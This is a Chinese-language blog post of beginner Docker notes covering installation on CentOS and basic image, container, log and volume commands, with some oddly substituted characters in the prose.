笔记分享:根底篇:https://blog.csdn.net/Mr_YanM...进阶篇:https://blog.csdn.net/Mr_YanM... 一、Docker概述二、Docker装置# 卸载旧版本dockeryum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine# 所需的安装包yum install -y yum-utils# 设置镜像仓库yum-config-manager \ --add-repo \http://download.docker.com/linux/centos/docker-ce.repo# 阿里云镜像yum-config-manager \ --add-repo \ http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo# 更新软件包索引yum makecache fast# 装置docker docker-ce社区版 ee 企业版yum install docker-ce docker-ce-cli containerd.io# 启动dockersystemctl start docker# 查看是否装置胜利docker version## 卸载dockeryum remove docker-ce docker-ce-cli containerd.io# 删除资源【/var/lib/docker是docker的默认资源门路】rm -rf /var/lib/docker三、Docker命令docker version // 显示docker的版本信息docker info // 显示docker的零碎信息,包含镜像和容器的数量3.1 镜像命令docker images --helpdocker images -adocker images -qdocker images -aqdocker search --help// 过滤docker search mysql --filter=STARS=3000docker pull mysql:5.7 // 下载mysql5.7镜像// 删除镜像docker rmi -f 镜像id// 删除多个镜像docker rmi -f 镜像id 镜像id 镜像id// 删除所有镜像docker rmi -f $(docker images -aq)3.2 容器命令// 拉取centos镜像docker pull centos// 新建容器并启动docker run [可选参数] centos// 参数阐明--name="名字" // 容器名称-d // 后盾运行-it // 进入容器-p //指定容器的端口 -p 8080:8080 -p 宿主机端口:容器端口// 列出所有正在运行的容器docker ps -a // 所有容器 -q // 只显示容器编号// 删除指定容器docker rm 容器id // 不能删除正在运行的容器// 删除所有容器docker rm -f $(docker ps -aq)// 退出容器exit // 间接进行容器并退出Ctrl + P + Q // 容器不进行退出// 启动和进行容器docker start 容器iddocker restart 容器iddocker stop 容器iddocker kill 容器id // 强制进行3.3 操作命令[ 操作日志-元数据-过程 ]// 查看日志docker log -f -t --tail 容器id-tf // 显示日志--tail number // 要显示的日志条数// 查看容器中的过程信息docker top 容器id// 查看镜像的元数据docker inspect 容器id// 进入以后正在运行的容器// 进入容器开启一个新的终端docker exec -it 容器id /bin/bash// 进入容器正在执行的终端,不会启动新过程docker attach 容器id// 从容器内拷贝文件到宿主机docker cp 容器id:/home/test.java /home四、Docker镜像docker commit -m="形容" -a="作者" 容器id 指标镜像名:[TAG]docker images // 就能够查看到自定义的镜像五、容器数据卷// 同步centos容器内的home目录到宿主机/home/ceshi目录docker run -it -v /home/ceshi:/home centos /bin/bash// 查看挂在是否胜利docker inspect 容器id ...

July 9, 2022 · 5 min · jiezi